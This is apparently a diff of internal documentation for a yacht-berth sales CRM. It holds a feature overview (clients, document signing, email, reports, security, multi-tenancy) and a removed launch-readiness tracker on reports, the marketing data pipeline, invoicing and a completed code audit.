- **Inline editing** of all dimensions and identifiers; dimensions normalised and validated.
|
||||
- **Reusable yacht picker** — the same searchable picker appears when creating a deal, attaching a document, or filing under an entity.
|
||||
|
||||
---
|
||||
|
||||
## 4. Companies & memberships
|
||||
|
||||
- **Companies list and detail** with tabs for overview, members, owned yachts, and files.
|
||||
- **Members management.** Add/remove members with active/inactive state and roles; membership reach feeds the documents projection so a client sees relevant company files automatically.
|
||||
- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal.
|
||||
- **Files tab** showing both directly-attached files and files reaching through related entities.
|
||||
|
||||
---
|
||||
|
||||
## 5. Clients
|
||||
|
||||
- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes.
|
||||
- **Inline editing everywhere** — name, addresses, phone numbers, emails, sales rep, communication preferences.
|
||||
- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical phone normalisation for reliable search and matching.
|
||||
- **Audit-driven field history.** Per-field history icon shows who changed a value, when, and the previous value.
|
||||
- **Tags, notes, and contact log** via shared components for a consistent experience.
|
||||
- **Pipeline summary.** All a client's deals (open and closed) roll up onto the detail page.
|
||||
- **Smart archive / smart restore.** Archiving cascades related state intelligently; restore previews exactly what comes back.
|
||||
- **Hard-delete with bulk variant** behind a permission gate.
|
||||
- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails a signed download link; auto-deletes after 30 days.
|
||||
- **Dedup engine.** Surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail.
|
||||
- **Send-documents dialog** for branded multi-attachment sends from any client.
|
||||
|
||||
---
|
||||
|
||||
## 6. Documents hub
|
||||
|
||||
- **Folder tree** with nestable subfolders, drag-and-drop move, rename, and soft-rescue delete (children re-parent rather than disappear).
|
||||
- **System folders per entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders on first use.
|
||||
- **Auto-filing on signing.** When a signing envelope completes, the signed PDF lands in the correct entity folder automatically, based on who owns the deal.
|
||||
- **Aggregated view across relationships.** A client's files plus files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client), each group capped for skimmability.
|
||||
- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download.
|
||||
- **Upload-for-signing dialog.** Send any file straight into a signing flow from the hub.
|
||||
- **In-flight workflow tracker** — which envelopes are mid-signing across the aggregated reach.
|
||||
- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders immutable via API.
|
||||
- **Recent files** surfaced in the topbar and global search.
|
||||
|
||||
---
|
||||
|
||||
## 7. EOI generation & document signing
|
||||
|
||||
- **Two pathways from one model.** EOIs generated through document-signing templates (primary) or filled into the in-app EOI PDF directly; both share the same data context.
|
||||
- **Multi-berth EOI ranges.** Bundled berths render a compact range ("A1–A3, B5–B7") in the Berth Number field; the CRM shows the full set as chips. Catalogued merge tokens are enforced at template-creation time.
|
||||
- **Configurable signing order.** Parallel or sequential per port, with a tri-state default (use template default / always parallel / always sequential).
|
||||
- **Automation modes** per deal: manual, sequential auto (advances on each signature), or concurrent auto (everyone signs at once). Mode changes audit-logged.
|
||||
- **Idempotent webhook handling.** Retries don't double-write; status changes normalised across both supported API versions; 5-minute polling safety net for missed webhooks.
|
||||
- **Rejection reasons captured** when a signer declines.
|
||||
- **Reminders and voids** surfaced directly from the deal detail.
|
||||
- **Embedded signing card** for in-app signing where appropriate.
|
||||
- **External EOI upload.** Record an EOI signed outside the system (PDF + counterparty list).
|
||||
- **Webhook health card** in admin showing recent deliveries, failures, and a "test now" action.
|
||||
- **Per-port signing configuration** — provider instance, API key, signing order, redirect URL.
|
||||
|
||||
---
|
||||
|
||||
## 8. Email send-outs
|
||||
|
||||
- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract comms, digests, etc.) shares one branded shell that applies the port's branding automatically.
|
||||
- **Configurable send-from accounts.** Per-port human send-from (e.g. `sales@portnimara.com`) and automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials encrypted at rest; APIs return only "is set" markers.
|
||||
- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview.
|
||||
- **Smart attachment handling.** Files over a per-port size threshold ship as 24-hour signed-URL links instead of attaching.
|
||||
- **Send rate limit** (50 sends/user/hour) to protect deliverability.
|
||||
- **Email audit log.** Every send recorded with recipient list, body, attachments, and links; admin-browsable.
|
||||
- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them to the original send.
|
||||
- **Email threads** — replies to a CRM-originated email are threaded under the original.
|
||||
- **Tracked-link composer.** Per-recipient tracked links for open and click-through attribution.
|
||||
- **Per-port template overrides** from admin, without code changes.
|
||||
- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold.
|
||||
|
||||
---
|
||||
|
||||
## 9. Reports
|
||||
|
||||
- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. All filters (stage, lead category, outcome) apply live.
|
||||
- **Operational report** with an operational heatmap and signing-box plot for spotting signing/operations bottlenecks.
|
||||
- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities live at launch; more entities and column-level controls roll out incrementally.
|
||||
- **Save / load / save-as templates.** Any report configuration saved as a named template with an optional shareable link, re-runnable on demand.
|
||||
- **Scheduled runs.** Weekly, monthly, or quarterly cadences; runs on schedule and optionally emails recipients a branded PDF. Run history browsable in admin.
|
||||
- **PDF exports** server-side rendered with a branded cover page; CSV and Excel exports available client-side from every list.
|
||||
- **Status badges** for each scheduled run.
|
||||
- **Charts** combining standard bars/lines/pies with dedicated heatmap and funnel rendering.
|
||||
|
||||
---
|
||||
|
||||
## 10. Admin
|
||||
|
||||
- **Organised admin surface** grouping all settings into clear domains: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability.
|
||||
- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides via a visual permission matrix.
|
||||
- **Settings registry.** A single, validated source of truth for every configurable setting, scoped per port.
|
||||
- **System monitoring dashboard.** Service health, queue depth, and reconcile state in one place.
|
||||
- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background.
|
||||
- **Self-service customisation.** Tags, vocabularies, custom fields, and supplemental info-request forms that tenants can shape themselves, without engineering involvement.
|
||||
- **Onboarding checklist** to guide new ports through setup.
|
||||
|
||||
---
|
||||
|
||||
## 11. Search
|
||||
|
||||
- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links.
|
||||
- **Multiple match strategies.** Full-text for documents, partial-word for names and titles, fuzzy trigram matching ("Jhon" finds "John"), canonical phone-number matching that ignores formatting, and direct ID lookup.
|
||||
- **Affinity ranking.** Recently-touched results are promoted.
|
||||
- **Cross-port super-admin pass.** Super-admins see other-port matches in a separate, clearly-labelled section.
|
||||
- **Permission-aware.** Viewers don't see results they couldn't open.
|
||||
- **Mobile search overlay** designed for thumb reach.
|
||||
- **Highlighted match terms** in each result.
|
||||
- **Admin search across the seven IA domains** — every admin page reachable from the topbar by keyword.
|
||||
|
||||
---
|
||||
|
||||
## 12. Activity feed & notifications
|
||||
|
||||
- **Dashboard activity widget** showing recent meaningful events across the port.
|
||||
- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page.
|
||||
- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, etc. Legacy events re-mapped to the current vocabulary.
|
||||
- **My reminders rail** on the dashboard surfacing due and overdue follow-ups.
|
||||
- **Reminders engine** with admin configuration (cadence, severity, recipients).
|
||||
- **Alert engine.** Rule-based alerts evaluated every 5 minutes; admins define rules, the engine generates notifications when they fire.
|
||||
- **In-app inbox** in the topbar.
|
||||
- **Hourly notification digest email** when unread items pass a threshold.
|
||||
|
||||
---
|
||||
|
||||
## 13. Analytics
|
||||
|
||||
- **Website-analytics dashboard** in the CRM: realtime visitors panel, world map, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells.
|
||||
- **Per-port project linking** to a website analytics project — CRM outcome events (EOI sent, deposit received, etc.) cross-post so marketing and sales metrics share a timeline.
|
||||
- **Email-open pixel.** Branded sends include an open-tracking pixel; opens recorded against the original send and shown in the send audit log.
|
||||
|
||||
---
|
||||
|
||||
## 14. Mobile & responsive design
|
||||
|
||||
- **Dedicated mobile shell** on small viewports: mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation.
|
||||
- **Card mode toggle on every list** — switch between table and card view; card view defaults on mobile.
|
||||
- **Mobile search overlay** designed for thumb reach.
|
||||
- **Responsive tab strips** that collapse intelligently.
|
||||
- **Touch-tuned form controls** — phone input, country picker, and timezone picker built for mobile keyboards.
|
||||
|
||||
---
|
||||
|
||||
## 15. Security & compliance
|
||||
|
||||
- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces.
|
||||
- **CRM invitations** via a token-based admin-driven invite flow.
|
||||
- **Granular RBAC.** Per-resource, per-action permissions applied at the service layer, not just the UI.
|
||||
- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable.
|
||||
- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview.
|
||||
- **PII masking at audit-write time.**
|
||||
- **Magic-byte PDF validation** on every upload path (in-server and presigned-PUT).
|
||||
- **Timing-safe webhook verification** for document-signing callbacks.
|
||||
- **Defense-in-depth port scoping** on every aggregated query — joins double-check `port_id`.
|
||||
- **30-second timeouts on object-storage calls** so a slow host can't stall the application.
|
||||
- **Per-port encryption-at-rest** for SMTP/IMAP credentials.
|
||||
- **Pre-commit hooks block accidental secret commits** (`.env` files including `.env.example`).
|
||||
|
||||
---
|
||||
|
||||
## 16. Multi-tenancy at port level
|
||||
|
||||
- **Per-port URL slug** — own URL prefix, brand, and configuration.
|
||||
- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background.
|
||||
- **Per-port email templates** — every transactional template overridable per port from admin.
|
||||
- **Per-port signing configuration** — provider API version, API key, signing order, redirect URL.
|
||||
- **Per-port storage backend** — S3-compatible or filesystem, switchable via migration script.
|
||||
- **Per-port currency and timezone** flowing through the scheduler, dashboard timezone-drift banner, recommender deposit defaults, and every report.
|
||||
- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets, all scoped to the port.
|
||||
- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise queries scope to the current port.
|
||||
@@ -1,646 +0,0 @@
|
||||
# Launch Readiness — Pre-Prod Initiative
|
||||
|
||||
> **Scope:** the user enumerated five launch-blocking initiatives on
|
||||
> 2026-05-27. This doc is the single home for all of them so we can
|
||||
> track progress without losing items between sessions. Companion to
|
||||
> `docs/superpowers/audits/active-uat.md` (which keeps the live UAT
|
||||
> findings) and `docs/BACKLOG.md` (master backlog index).
|
||||
>
|
||||
> Status tags per item: `OPEN | IN PROGRESS | SHIPPED in <hash> | BLOCKED | DEFERRED`.
|
||||
|
||||
## Initiative 1 — Reports overhaul
|
||||
|
||||
**Status:** IN PROGRESS · Active phase
|
||||
|
||||
Goals (per user, 2026-05-27):
|
||||
|
||||
- Cover all four report categories: **Sales performance**, **Financial**,
|
||||
**Marketing / funnel**, **Operational**.
|
||||
- Template system: load template → modify → re-save OR save as new.
|
||||
- Rich data density: more charts, more graphs, more KPIs.
|
||||
- Output formats: **PDF + CSV + Excel** for each report.
|
||||
- Scheduled reports: cron-driven; auto-email is **optional** (so the
|
||||
admin can schedule a run without forcing an email blast).
|
||||
- Custom builder: full ad-hoc (pick entity, columns, filters, group-by),
|
||||
save as template — but quality-first; we don't ship a janky composer.
|
||||
- UI/UX: stunning, fluid, beautiful. Within the existing white/navy
|
||||
brand language — no off-brand experimental themes.
|
||||
|
||||
Decisions locked (2026-05-27):
|
||||
|
||||
- **Currency**: port branding default
|
||||
- **Rep visibility**: port-scoped admin setting (default depends on
|
||||
team size; PN is single-rep so default = full team)
|
||||
- **AR aging buckets**: standard 30-day (current / 1-30 / 31-60 /
|
||||
61-90 / 90+)
|
||||
- **Custom builder entity scope**: all 10 entities
|
||||
- **Pulse data**: fold into Sales report
|
||||
- **Inquiry-link audit**: yes, audit + fix; no website-repo edits
|
||||
required for the audit itself (link logic is server-side)
|
||||
- **Scope cut for launch**: Sales + Operational ship first as
|
||||
fully-functional reports; Marketing + Financial ship in tandem with
|
||||
their data sources being wired (see Initiatives 2c + 2d below).
|
||||
|
||||
Phases (status snapshot 2026-05-27):
|
||||
|
||||
1. ✅ Foundation + UX overhaul — landing page (within existing
|
||||
design system); charts library audit done; ExcelJS installed.
|
||||
2. ✅ Sales Performance + Operational builders — full report pages
|
||||
with KPIs / charts / tables; client-side Export to CSV + Excel +
|
||||
PDF; server-side PDF endpoint for branded output. _See gaps
|
||||
below._
|
||||
3. ❌ Marketing report — NOT BUILT. Pending Init 1b cutover.
|
||||
**Beta gate (2026-06-02):** the `marketing` kind in
|
||||
`reports/[kind]/page.tsx` now returns `notFound()` (via
|
||||
`UNAVAILABLE_NEW_KINDS`) instead of the "in development" placeholder,
|
||||
so the beta reports surface reads as complete — the landing page only
|
||||
advertises Sales / Operational / Financial / Custom, and the
|
||||
hand-typed `/reports/marketing` URL 404s. **Remove the
|
||||
`UNAVAILABLE_NEW_KINDS` entry when this report ships.** Decision: keep
|
||||
the reports page live for beta rather than hiding it behind a module
|
||||
toggle — 3 of 4 reports are fully built + verified (export, templates,
|
||||
scheduling) and strictly beat the dashboard-only fallback.
|
||||
4. ✅ Financial report — **SHIPPED in b690fb8d.** Built on the canonical
|
||||
payments + expenses tables (invoices module stays OFF); the
|
||||
invoice-centric spec was reframed onto the payments model
|
||||
("outstanding AR" → expected-deposit shortfall; "AR aging" →
|
||||
outstanding deposits by deal age). 7 KPIs, 6 charts, 4 tables, port-
|
||||
currency normalised, 1y default range, templates + export. Marketing
|
||||
is the only remaining unbuilt report.
|
||||
5. ⚠️ Custom (ad-hoc) report builder — partial ship.
|
||||
6. ✅ Scheduled reports with optional emailing — BullMQ poll +
|
||||
render path live; recipients optional; PDF-only output.
|
||||
7. ✅ Templates — load / modify / save / save-as / URL deep-link.
|
||||
|
||||
Open considerations carried forward:
|
||||
|
||||
- **Chart library mix.** Project already has `recharts` (simple bar/line/pie)
|
||||
and `echarts` (heatmaps, funnels, complex). Lean on each where it fits;
|
||||
don't add a third unless something specific is missing.
|
||||
- **PDF cover-page treatment.** Each report PDF should open with a
|
||||
branded cover (port logo, title, date range, generated-on stamp). Reuse
|
||||
the existing `branded-document.tsx` shell.
|
||||
|
||||
Working spec: `docs/reports-content-spec.md` (per-category KPIs +
|
||||
charts + tables proposed; updated as we walk through each).
|
||||
|
||||
### Reports — what's left (gap audit 2026-05-27)
|
||||
|
||||
Comparing the working spec against shipped code, here's the bucketed
|
||||
backlog. **Items marked LAUNCH-BLOCK** are needed for the beta cutover;
|
||||
everything else is post-launch polish unless promoted.
|
||||
|
||||
#### Cross-cutting capabilities (apply to every report)
|
||||
|
||||
- ⚠️ **Period comparison toggle** — "this period vs prior period" delta
|
||||
arrows on KPI cards. **Sales: SHIPPED locally (2026-05-31)** — a
|
||||
"Compare to prior period" toggle in the header computes an
|
||||
equal-length preceding window (`previousPeriodBounds`), the API
|
||||
recomputes KPIs for that window behind `?compare=1`, and the five
|
||||
window-derived tiles (Won, Lost, Win rate, Avg time-to-close, New
|
||||
leads) render colour-correct "vs prior" deltas. Point-in-time tiles
|
||||
(Active interests, Pipeline value) intentionally have no delta.
|
||||
Persisted in the saved-template config. TDD'd:
|
||||
`previousPeriodBounds` + `computeSalesKpiComparison` unit tests.
|
||||
Operational already rendered period-start deltas. **Still open:** the
|
||||
spec's "on every report" — Operational uses a different
|
||||
"vs period start" baseline; reconcile the two semantics if a single
|
||||
consistent comparison is wanted.
|
||||
- ✅ **Rep multi-select filter** — **SHIPPED in b97f6e94** (Sales).
|
||||
Dynamic "Assigned to" multi-select populated from a window-independent
|
||||
`getRepFilterOptions` (distinct assigned reps port-wide); hidden when
|
||||
the port has no assigned interests.
|
||||
- ✅ **Source multi-select filter** — **SHIPPED in b97f6e94** (Sales).
|
||||
Static Source multi-select (website / manual / referral / broker /
|
||||
other) allowlisted against `SOURCES`. Both filters thread through the 5
|
||||
filtered Sales queries via a pure, unit-tested `parseSalesFilters`.
|
||||
_Still open: replicate both on Operational + the other report pages._
|
||||
- ✅ **Empty-state copy per report** — **SHIPPED (2026-06-02).** A
|
||||
window-independent `hasData` flag on the Sales / Operational /
|
||||
Financial routes drives a shared `<ReportEmptyState>` hero (named icon
|
||||
- one-line body + onboarding action button) when the port has no
|
||||
underlying data at all — distinct from the per-chart "no data in this
|
||||
window" states, which already degraded gracefully. Targets: Sales →
|
||||
Interests, Operational → Berths, Financial → Expenses. Spec:
|
||||
`docs/superpowers/specs/2026-06-02-reports-polish-design.md`.
|
||||
|
||||
#### Phase 2 — Sales report gaps
|
||||
|
||||
- ✅ **Operational-style filter set on Sales** — stage / lead-cat /
|
||||
outcome + period comparison + rep multi-select + source multi-select
|
||||
all shipped (rep/source in b97f6e94). Sales filter set is complete.
|
||||
|
||||
#### Phase 2 — Operational report gaps
|
||||
|
||||
- ⚠️ **Operational-specific filters**: **Area SHIPPED (2026-06-02)** —
|
||||
a berth-area scope (`parseOperationalFilters` +
|
||||
`getOperationalAreaOptions`, threaded through the 5 berth-derived
|
||||
service fns) re-queries the berth-count KPIs, occupancy-by-area,
|
||||
utilisation heatmap, and vacant lists for the selected areas; trend +
|
||||
tenancy/signing/docs panels stay port-wide with a "scoped to {areas}"
|
||||
caption. Browser-verified (area A: total berths 117→11). **Status /
|
||||
tenure type / document type deferred** — Status proved a light filter
|
||||
here (can't retro-apply to historical trend charts; the vacant lists
|
||||
are available-by-definition); see
|
||||
`docs/superpowers/specs/2026-06-02-reports-polish-design.md`.
|
||||
|
||||
#### Phase 3 — Marketing report (LAUNCH-BLOCK if Marketing is in beta scope)
|
||||
|
||||
Not built. Spec at `docs/reports-content-spec.md` § Report 03 calls for:
|
||||
|
||||
- 6 KPIs (inquiries, inquiry→interest %, inquiry→EOI %, inquiry→won %,
|
||||
top source, avg time-to-respond)
|
||||
- 6 charts (inquiries by source donut, source ROI stacked bar, full
|
||||
funnel, conversion trend, country geo map via `react-simple-maps`,
|
||||
time-to-respond histogram)
|
||||
- 3 tables (top-converting sources, recent inquiries, stuck inquiries)
|
||||
- Filters: specific source, mooring, UTM campaign
|
||||
|
||||
**Blocker:** depends on the website actually sending UTM params (Init
|
||||
1b step 4 — CRM-side shipped, website-side pending) AND on inquiry
|
||||
data flowing from the new intake endpoint (Init 1b step 1 — pending
|
||||
website env flip).
|
||||
|
||||
#### Phase 4 — Financial report ✅ SHIPPED in b690fb8d
|
||||
|
||||
**Decision taken (2026-06-02):** ship on the canonical `payments` +
|
||||
`expenses` tables; invoices module stays OFF. The invoice-centric spec
|
||||
(§ Report 02) was reframed onto the payments model so the report is
|
||||
populated rather than 90% empty:
|
||||
|
||||
- 7 KPIs: revenue collected (net of refunds), deposits, balance,
|
||||
pipeline (expected deposits), outstanding deposits (expected−collected
|
||||
on open deals = the AR analogue), expenses, net contribution.
|
||||
- 6 charts: revenue by month (deposit/balance, with month/quarter/year
|
||||
toggle), collection funnel (EOI → deposit → contract → won),
|
||||
outstanding deposits by deal age (AR-aging analogue, no invoice due
|
||||
dates exist), cash flow (inflow vs outflow), expense breakdown donut.
|
||||
- 4 tables: outstanding deposits, recent payments, refund/write-off log,
|
||||
expense ledger.
|
||||
- All money normalised to port currency; 1y default range; templates +
|
||||
CSV/XLSX/PDF export.
|
||||
|
||||
**Follow-up (deferred, not launch-blocking):** if the user later flips
|
||||
the invoices module ON, add invoice-sourced AR (due dates → true aging)
|
||||
|
||||
- the invoice/payment-status/billing-entity filters from the original
|
||||
spec. Browser-verified against live data (0 payment rows in dev → revenue
|
||||
$0 correct; 165 expenses populate the expense surfaces).
|
||||
|
||||
#### Phase 5 — Custom builder gaps
|
||||
|
||||
v1 ships 4 entities; full spec wants 10 + advanced composition.
|
||||
|
||||
- ❌ **Missing entities**: yachts, companies, invoices, expenses,
|
||||
documents, websiteSubmissions, payments. Each is a registry-only
|
||||
extension — add a `CustomEntityDefinition` to
|
||||
`src/lib/reports/custom/registry.ts`. ~30 min per entity.
|
||||
- ❌ **Filters beyond date range** — spec wants per-column filter rows
|
||||
(column → operator → value, AND/OR between rows). Today only the
|
||||
date range filter exists.
|
||||
- ❌ **Group by + aggregate** — single group-by dimension + per-column
|
||||
aggregate (count / sum / avg / min / max). Today only a flat list.
|
||||
- ❌ **Column sort** — pick a column + direction. Today rows return
|
||||
with the registry's hardcoded `orderBy`.
|
||||
- ❌ **Live preview as you build** — spec wants debounced re-render on
|
||||
filter / column change. Today the rep clicks "Run query" to fetch.
|
||||
- ❌ **Column whitelist per role** — PII columns (`email`, `phone`)
|
||||
should be gated by `clients.view_pii`. Today all listed columns are
|
||||
available to anyone with `reports.export`.
|
||||
- ❌ **Run-once vs Save-as-template** — the spec asks for three buttons
|
||||
on save (Run once / Save as template / Update existing). Today only
|
||||
the template-save path exists.
|
||||
|
||||
#### Phase 6 — Scheduled runs gaps
|
||||
|
||||
- ❌ **Custom cron strings** — three hardcoded cadences (weekly Mon 9 ·
|
||||
monthly 1st 9 · quarterly 1st 9). Spec implies arbitrary cron.
|
||||
`nextRunFor` in `report-schedules.service.ts` switches on the enum;
|
||||
extend to support a `cron_expression` mode.
|
||||
- ❌ **Scheduled CSV / XLSX** — only PDF is wired through the worker
|
||||
(`renderStandaloneReportRun` in `report-render.service.ts`). For
|
||||
CSV/XLSX, the worker would need to either run the existing client-side
|
||||
exporter server-side (drop ExcelJS into the worker bundle) or build
|
||||
format-specific server renderers.
|
||||
|
||||
#### Phase 7 — Templates gaps
|
||||
|
||||
- ❌ **"Modified ●" indicator** — when the rep changes view state after
|
||||
loading a template, the active-template badge currently just clears.
|
||||
Spec wants a visible "modified" marker so they know they've drifted.
|
||||
- ❌ **Personal vs port-wide scope** — schema has the `visibility`
|
||||
column with `'private' | 'team'` but the UI always saves as port-wide.
|
||||
The Save dialog needs a scope picker.
|
||||
- ❌ **"Owned by" attribution** — templates with `visibility='team'`
|
||||
should show creator name. Schema captures `createdBy`; UI doesn't
|
||||
surface it.
|
||||
- ❌ **Promote-to-port-wide affordance** — once shipped, a "Share with
|
||||
team" action on personal templates that flips visibility.
|
||||
|
||||
#### Net launch-readiness for reports
|
||||
|
||||
If the launch scope is **Sales + Operational only**, reports are
|
||||
launch-ready with the polish items above as post-launch follow-ups.
|
||||
|
||||
If the launch scope includes **Marketing + Financial**, both reports
|
||||
need to be built AND their data plumbing finished (Init 1b website
|
||||
flip + UTM forwarding for Marketing; invoices module + rep training
|
||||
for Financial).
|
||||
|
||||
The cross-cutting filter set (period comparison, rep / source
|
||||
multi-select, empty-state copy) is the highest-value polish that's
|
||||
visible on every report — call it ~6-8 hours of work spread across
|
||||
both shipped report pages + the shared FilterBar component.
|
||||
|
||||
---
|
||||
|
||||
## Initiative 1b — Marketing data pipeline cutover
|
||||
|
||||
**Status:** OPEN · Blocks the Marketing report
|
||||
|
||||
The CRM has the **full infrastructure** for marketing intake +
|
||||
attribution; it's just not connected end-to-end.
|
||||
|
||||
What's built:
|
||||
|
||||
- **Email-open pixel tracking**: `src/app/api/public/email-pixel/[sendId]/route.ts`
|
||||
- `src/lib/email/tracking-pixel.ts`. Sales sends with
|
||||
`trackOpens=true` get a 1×1 pixel; opens record to
|
||||
`email_send_opens` and cross-post to Umami.
|
||||
- **Umami integration**: `@umami/node` installed; `src/lib/services/umami.service.ts`
|
||||
is the wrapper. Outcome events (EOI sent, deposit received, etc.)
|
||||
already cross-post into Umami.
|
||||
- **Website inquiry intake endpoint**: `/api/public/website-inquiries`
|
||||
in the CRM, paired with `/api/public/residential-inquiries`. Both
|
||||
validate + dual-write into `website_submissions`.
|
||||
- **Website posting code**: `Port Nimara/Website/server/utils/crmIntake.ts:72`
|
||||
has the matching POST. Just needs the env var to point at the new
|
||||
CRM.
|
||||
|
||||
What's NOT connected yet:
|
||||
|
||||
1. **Website env `CRM_INTAKE_URL`** still points at the old portal (or
|
||||
isn't set). Flipping this is a ~5-min config change inside the
|
||||
website Nuxt deploy. After flip, every website inquiry lands in
|
||||
`website_submissions` + auto-routes to the inquiry-triage queue.
|
||||
2. **Backfill of historical inquiries** from the old portal so the
|
||||
Marketing report has launch-day history rather than starting from
|
||||
zero. Reads from `client_portal_v2`'s inquiry table, inserts into
|
||||
`website_submissions` with original `receivedAt` timestamps,
|
||||
re-links to existing CRM clients via dedup (email/phone).
|
||||
3. **Umami funnel events on the marketing site itself**. The Umami
|
||||
project exists; what's unclear is whether the marketing site is
|
||||
firing `event:` calls on key actions (form submitted, brochure
|
||||
downloaded, virtual-tour started). Audit needed.
|
||||
4. **UTM column wiring**. ✅ CRM-side SHIPPED — migration `0089_website_submissions_utm.sql`
|
||||
adds `utm_source / utm_medium / utm_campaign / utm_term / utm_content`
|
||||
to `website_submissions` plus a `(port_id, utm_source, received_at)`
|
||||
composite index for per-campaign rollups. `/api/public/website-inquiries`
|
||||
accepts the five fields in the request body and persists them on
|
||||
insert. **Pending website-side change**: the marketing site's
|
||||
`crmIntake.ts` POST must forward UTM params from the form's query
|
||||
string / cookies. **Pending residential parity**: residential
|
||||
inquiries (`/api/public/residential-inquiries`) don't go through
|
||||
`website_submissions`; if Marketing report needs UTM attribution on
|
||||
residential leads too, add the same columns to `residential_clients`
|
||||
in a follow-up.
|
||||
|
||||
Sequencing:
|
||||
|
||||
- Step 1 is the cutover unblock (do during launch window itself).
|
||||
- Step 2 is part of Initiative 5 (data migration).
|
||||
- Step 3 is a website-side audit (Initiative 3).
|
||||
- Step 4 is a small CRM-side schema add (one migration + 4 column
|
||||
reads). Decision pending: ship at launch or defer to Phase 2.
|
||||
|
||||
---
|
||||
|
||||
## Initiative 1c — Invoicing audit-and-finish
|
||||
|
||||
**Status:** SPIKE COMPLETE · Module-toggle shipped · Financial report deferred
|
||||
|
||||
### Audit findings (2026-05-27 spike)
|
||||
|
||||
The CRM has two parallel money-receiving flows in active code:
|
||||
|
||||
1. **`payments` table — canonical, in active use.** Schema comment at
|
||||
`src/lib/db/schema/pipeline.ts:75` is unambiguous: "The CRM does
|
||||
NOT generate invoices — clients pay banks directly. We record that
|
||||
money was received." Linked to `interests`. `recordPayment`
|
||||
auto-advances pipeline to `deposit_paid` when the cumulative
|
||||
deposit total hits `depositExpectedAmount`. This is the surface
|
||||
reps actually use; payments are recorded from the per-interest
|
||||
**Payments** tab.
|
||||
2. **`invoices` + `invoice_line_items` table — orphaned in the UI.**
|
||||
Full builder (line items, PDF, send, mark-paid) exists at
|
||||
`/[portSlug]/invoices/new`. The sidebar nav entry was removed
|
||||
earlier; only the page itself can link to `invoices/new`. Dev DB
|
||||
has zero rows. The standalone surface is parallel infrastructure
|
||||
for the rare case where an operator wants to invoice a client
|
||||
directly from the CRM, plus the employee-expense-report flow
|
||||
(`expenses → invoices` PDF).
|
||||
|
||||
### Decision (per the existing "intentionally manual elsewhere" branch)
|
||||
|
||||
Ship a port-level module toggle, default OFF, identical pattern to
|
||||
the Tenancies and Expenses toggles. The Financial report stays
|
||||
deferred from launch since the canonical Payments tab feeds the
|
||||
Sales report (which is shipping) — separate Financial dashboard adds
|
||||
no value when there's no second money-receiving flow.
|
||||
|
||||
**What shipped (2026-05-27):**
|
||||
|
||||
- `system_settings` registry entry `invoices_module_enabled` (boolean,
|
||||
port-scoped, default `false`) — added to
|
||||
`src/lib/settings/registry.ts`.
|
||||
- New module-gate service `src/lib/services/invoices-module.service.ts`
|
||||
with `isInvoicesModuleEnabled(portId)` (same shape as
|
||||
`isExpensesModuleEnabled`).
|
||||
- Layout-level guard at `src/app/(dashboard)/[portSlug]/invoices/layout.tsx`
|
||||
— every `/invoices/*` route renders `<ModuleDisabledPage>` when the
|
||||
port hasn't opted in. Admins can flip on from Admin → Settings;
|
||||
historical rows preserved.
|
||||
|
||||
**What's NOT changed:**
|
||||
|
||||
- API endpoints (`/api/v1/invoices/*`) still respond — historical PDF
|
||||
links + send-flow webhooks keep resolving regardless of the toggle.
|
||||
- The `payments` flow is untouched and continues to be the canonical
|
||||
money-received path.
|
||||
- The expense → invoice flow (employee expense reports) is
|
||||
unaffected since employee-expense PDFs flow through a different
|
||||
surface (`/expenses`) that lives behind its own module gate.
|
||||
|
||||
**Follow-up:** if the user later wants per-port branded
|
||||
client-facing invoicing from inside the CRM, the surface is ready to
|
||||
turn on with no schema work — just flip `invoices_module_enabled = true`.
|
||||
|
||||
---
|
||||
|
||||
## Initiative 2 — Multi-agent codebase audit
|
||||
|
||||
**Status:** ✅ COMPLETE (2026-06-02) — audit + full remediation shipped.
|
||||
17-lane multi-agent audit (3 workflow passes + adversarial verification +
|
||||
completeness critic) produced **85 distinct findings** (4 CRITICAL / 17
|
||||
HIGH / 29 MEDIUM / 35 LOW), all triaged and remediated across 28
|
||||
`fix(audit)` commits; 84 fixed, L21 verified a false positive. tsc-clean,
|
||||
1103/1103 unit tests green. Two DB-schema migrations (M23 invoice
|
||||
`numeric(12,2)`, M25 `client_contacts` email unique index) deferred with
|
||||
their code fixes shipped. Full report + per-finding fix mapping:
|
||||
**`docs/audits/2026-06-02/findings-master.md`** (§ Remediation status).
|
||||
|
||||
